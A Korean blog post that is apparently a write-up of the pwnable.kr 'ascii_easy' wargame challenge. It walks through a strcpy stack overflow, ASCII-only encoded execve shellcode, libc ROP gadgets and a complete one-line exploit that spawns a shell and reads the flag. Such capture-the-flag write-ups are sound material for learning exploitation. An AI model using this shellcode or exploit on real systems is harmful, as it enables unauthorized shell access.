본문 바로가기
Wargame/pwnable.kr

[Rookiss] ascii_easy

by bbolmin 2014. 7. 21.



ascii 프로그램은  getchar로 한 문자 씩 입력받아서 vuln함수 내에서 strcpy를 수행하는 프로그램이다.

아래에 코드에서 보다싶이 0xa8(168) + ebp + ret을 덮을 수 있게된다. 


(gdb) disass vuln

Dump of assembler code for function vuln:

   0x080484f1 <+0>:     push   %ebp

   0x080484f2 <+1>:     mov    %esp,%ebp

   0x080484f4 <+3>:     sub    $0xb8,%esp

   0x080484fa <+9>:     movl   $0x80000000,0x4(%esp)

   0x08048502 <+17>:    lea    -0xa8(%ebp),%eax

   0x08048508 <+23>:    mov    %eax,(%esp)

   0x0804850b <+26>:    call   0x80483d0 <strcpy@plt>

   0x08048510 <+31>:    leave

   0x08048511 <+32>:    ret

End of assembler dump.

(gdb)




그리고 main함수 코드에는 0x80000000 주소에 0x1000만큼 RWX 권한을 가진 메모리를 할당해 준다. 스택은 NX 이므로 0x80000000 에 쉘코드를 올리고 실행시키자 ~

(gdb) disass main
Dump of assembler code for function main:
   0x08048512 <+0>:     push   %ebp
   0x08048513 <+1>:     mov    %esp,%ebp
   0x08048515 <+3>:     push   %ebx
   0x08048516 <+4>:     and    $0xfffffff0,%esp
   0x08048519 <+7>:     sub    $0x30,%esp
   0x0804851c <+10>:    movl   $0x0,0x14(%esp)
   0x08048524 <+18>:    movl   $0xffffffff,0x10(%esp)
   0x0804852c <+26>:    movl   $0x32,0xc(%esp)
   0x08048534 <+34>:    movl   $0x7,0x8(%esp)
   0x0804853c <+42>:    movl   $0x1000,0x4(%esp)
   0x08048544 <+50>:    movl   $0x80000000,(%esp)
   0x0804854b <+57>:    call   0x8048400 <mmap@plt>
   0x08048550 <+62>:    mov    %eax,0x2c(%esp)
   0x08048554 <+66>:    cmpl   $0x80000000,0x2c(%esp)



그럼 ascii만으로 범위 (1f ~ 7f)만으로 바이너리가 나오도록 페이로드를 작성해보자.


1. 먼저 0x80000000로 가는 방법

(gdb)
0xff975ec0:     0xff975f18      0x55569a90      0x557278c4      0x8000000f
0xff975ed0:     0x00000000      0x00000000      0xff975f18      0x080485cf
0xff975ee0:     0x080486d6      0x00001000      0x00000007      0x00000032
0xff975ef0:     0xffffffff      0x00000000      0x55725ff4      0x555b61a5
0xff975f00:     0x55564660      0x00000000      0x00000010      0x80000000
0xff975f10:     0x080485e0      0x55725ff4      0x00000000      0x5559c4b3

위의 0x080485cf가 덮을 ret이고 계속 가다보면 0x80000000을 만나게 된다. 따라서 0x80000000 입력 없이 ret sled로 충분히 갈 수 있다.


2. ascii로 인코딩된 쉘코드 실행


perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"' | msfencode -e x86/alpha_mixed BufferRegister=ECX
[*] x86/alpha_mixed succeeded with size 99 (iteration=1)

buf = 
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49" +
"\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41" +
"\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41" +
"\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x34\x71\x39\x50\x66" +
"\x30\x72\x48\x36\x4f\x44\x6f\x73\x43\x52\x48\x50\x68\x66" +
"\x4f\x51\x72\x53\x59\x32\x4e\x6c\x49\x4d\x33\x6e\x69\x4b" +
"\x71\x4c\x49\x59\x52\x58\x30\x54\x4b\x78\x4d\x4d\x50\x41" +
"\x41"
bbolmin@kali:~$ 


기존의 x86 execve (24byte)를 msfencode로 alpha_mixed하여서 쉘코드를 인코딩 해주었다. alpha_mixed로 인코딩할 때 쉘코드가 시작되는 주소를 가진 레지스터를(위의 경우 ECX) 지정해 주어야한다.


레지스터 상황은 대략 아래와 같다. (ecx, ebx는 변하지 않음 ...)

(gdb) info reg
eax            0xffbc14a0       -4451168
ecx            0x800000d0       -2147483440
edx            0xffbc1570       -4450960
ebx            0x800000dc       -2147483428
esp            0xffbc1490       0xffbc1490
ebp            0xffbc1548       0xffbc1548
esi            0x0      0
edi            0x0      0
eip            0x8048510        0x8048510 <vuln+31>
eflags         0x202    [ IF ]
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x0      0
gs             0x63     99

특정 레지스터를 쉘코드 시작 주소로 조작해야 하므로 공유 라이브러리를 wget으로 가져와서 ROP 가젯을 찾아보았다.

[*] 참고로 공유 라이브러리 주소는 unlimited 후에 0x55583000 고정 된다.

ulimit -s unlimited

ascii@ubuntu:~$ ldd ascii

        linux-gate.so.1 =>  (0x55579000)

        libc.so.6 => /lib32/libc.so.6 (0x55583000)

        /lib/ld-linux.so.2 (0x55555000)

ascii@ubuntu:~$




ROPeMe> search mov cl, %

Searching for ROP gadget:  mov cl, % with constraints: []

0x18c8a5L: mov cl 0x1 ; or cl [esi] ; adc al 0x43 ;;

0x18ca15L: mov cl 0x1 ; or cl [esi] ; adc al 0x43 ;;

0x3c58L: mov cl 0x22 ; xchg ebp eax ;;


ROPeMe> search dec ecx

Searching for ROP gadget:  dec ecx with constraints: []

0x52e5bL: dec ecx ;;

0x188a90L: dec ecx ;;



(gdb) x/4i 0x55586c58

   0x55586c58:  mov    $0x22,%cl

   0x55586c5a:  xchg   %eax,%ebp

   0x55586c5b:  ret


(gdb) x/4i 0x555d5e5bL

   0x555d5e5b <_IO_vfscanf+25243>:      dec    %ecx

   0x555d5e5c <_IO_vfscanf+25244>:      ret



이것 저것 찾아보다가 ascii 우회 가능한 주소를 가지고 있는 ecx를 조작 가젯 발견. ~
원래 ECX는 0x800000d0인데 "0x55586c58", "0x555d5e5b"x11 으로 0x80000017로 변경 시킴.
그럼 0x80000017전 까지는 대충 더미 코드를 삽입하고 0x80000017 부터 위에서 만든 alpha_mixed 쉘코드를 넣어준다.
(더미 코드로는 dec eax(OPCODE : 0x49)를 사용했음)






[ exploit ]


ascii@ubuntu:~$ (perl -e 'print "\x48"x23, "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x34\x71\x39\x50\x66\x30\x72\x48\x36\x4f\x44\x6f\x73\x43\x52\x48\x50\x68\x66\x4f\x51\x72\x53\x59\x32\x4e\x6c\x49\x4d\x33\x6e\x69\x4b\x71\x4c\x49\x59\x52\x58\x30\x54\x4b\x78\x4d\x4d\x50\x41\x41","a"x46, "cccc", "\x58\x6c\x58\x55", "\x5b\x5e\x5d\x55"x11, "\x00"';cat)|./ascii

Input text : triggering bug...



id

uid=1014(ascii) gid=1014(ascii) egid=1015(ascii2) groups=1014(ascii)

ls

ascii  flag

cat flag

damn you ascii armor... what a pain in the ass!! :(








'Wargame > pwnable.kr' 카테고리의 다른 글

[Rookiss] simple login  (0) 2014.07.27
[Rookiss] brain fuck  (0) 2014.07.26
[Rookiss] dragon  (0) 2014.07.20
[Toddler's Bottle] passcode  (0) 2014.07.19
[Rookiss] fsb  (0) 2014.07.07